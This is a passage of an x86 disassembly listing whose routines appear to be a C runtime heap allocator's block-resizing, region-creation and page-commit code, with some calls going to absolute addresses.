= dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A310, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A300 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC944 nop call near ptr 27D0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A300 cmp esi, eax jnz short loc_41EA06 cmp off_43A300, 0 jnz short loc_41E9F6 mov off_43A300, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A304, 0 jnz short loc_41EA1B mov off_43A304, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A304 mov [esi+4], eax mov off_43A304, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 28D048Ch loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A300 jz short loc_41EAB3 push esi push 0 push dword_4DC944 nop call near ptr 27C0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 28D048Ch nop cmp off_43C320, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C320, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A300 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC944 nop call near ptr 27C0000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A310, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A304 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28D048Ch test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB324 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A304 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A300 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB324 cmp dword_4DB324, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C320 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C320 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C320, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A300 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28D05EEh cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C320, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C320, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC600[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C980 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: 